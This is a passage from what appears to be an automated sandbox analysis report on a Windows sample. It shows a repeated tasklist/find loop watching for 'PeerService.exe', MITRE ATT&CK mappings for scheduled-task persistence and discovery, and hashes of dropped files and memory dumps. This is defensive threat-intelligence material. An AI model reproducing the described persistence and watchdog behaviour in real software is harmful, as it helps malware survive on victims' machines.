- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1672
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5064
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1916
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:452
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4352
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:904
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1200
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:324
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4036
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2856
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2472
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2244
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:672
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1536
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4500
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1624
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4228
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1168
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3524
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2296
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1476
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1580
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:656
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2608
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1916
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1300
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1208
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1736
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4728
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2284
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1200
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2476
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4632
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4420
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4440
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3532
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:716
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3528
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3056
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4668
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2616
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4592
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1508
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3464
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4416
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1008
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2764
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4996
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3864
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4072
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1748
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2112
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4976
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1580
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
TLSH
T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 762bace29bf7e8ead41dcfad13acd4edf4227ef6c610755507388be8d1856907
MD5 ed30204a351f2d70d8f544d0420c5e6b
SHA1 3a846ca4ea3b920cd93b57a9a7b5e8b4f38311f0
SHA512 2dba5561733396d3d3ead62bd4ac29d703485e00e26fa851711e2e96b6c4b1a59beda3accd2173f43c52eddc9587eee9959aaa5df282616898ed36a943f4d1fe
TLSH
T177218627B3DC8A21CC86123A109D9C10767683C780AECF9F6BC4D614A0BF998CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hqiwc3tk.3kv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hqiwc3tk.3kv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 11.0MB
SHA256 55a44ea838524d27794634325f5b8e31eded0c0795530d2281483c9f4a7efd9b
MD5 53b7fd83936dd14672e5394749482a9e
SHA1 b1f7e050f0e723002bbc64cd99b1220a7bfcee72
SHA512 f4762e23928523db41653d25551ae97789eb519d02cb3162b57cf649f8bd165d66c4d2b598a306061c98cc8d055ea16bf205f4b37998e485fb0f03731943f470
SSDEEP 196608:s+hx9ekEDByQyVG/uzGNVyAl3K8fCGnbP3JzATLByQyVG/uzGNVyAl3K8fCGnbPa:L9ePNSG/lVrl3KExL3JzATdNSG/lVrlU
TLSH
T1C8C6126BB26901E8E1BFD17CC9165903FBB2780543A096DF12E046A62F73BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1888-47-0x000002895CED0000-0x000002895CEEC000-memory.dmp

Download

memory/1888-46-0x000002895CE80000-0x000002895CE8A000-memory.dmp

Download

memory/1888-45-0x0000028975FE0000-0x0000028976095000-memory.dmp

Download

memory/1888-55-0x000002895CE90000-0x000002895CE9A000-memory.dmp

Download

memory/1888-56-0x00000289761E0000-0x00000289761FA000-memory.dmp

Download

memory/1888-57-0x000002895CEB0000-0x000002895CEB8000-memory.dmp

Download

memory/1888-58-0x000002895CEC0000-0x000002895CEC6000-memory.dmp

Download

memory/1888-59-0x0000028976200000-0x000002897620A000-memory.dmp

Download

memory/1888-44-0x000002895CE60000-0x000002895CE7C000-memory.dmp

Download

memory/1888-29-0x000002895CDB0000-0x000002895CDD2000-memory.dmp

Download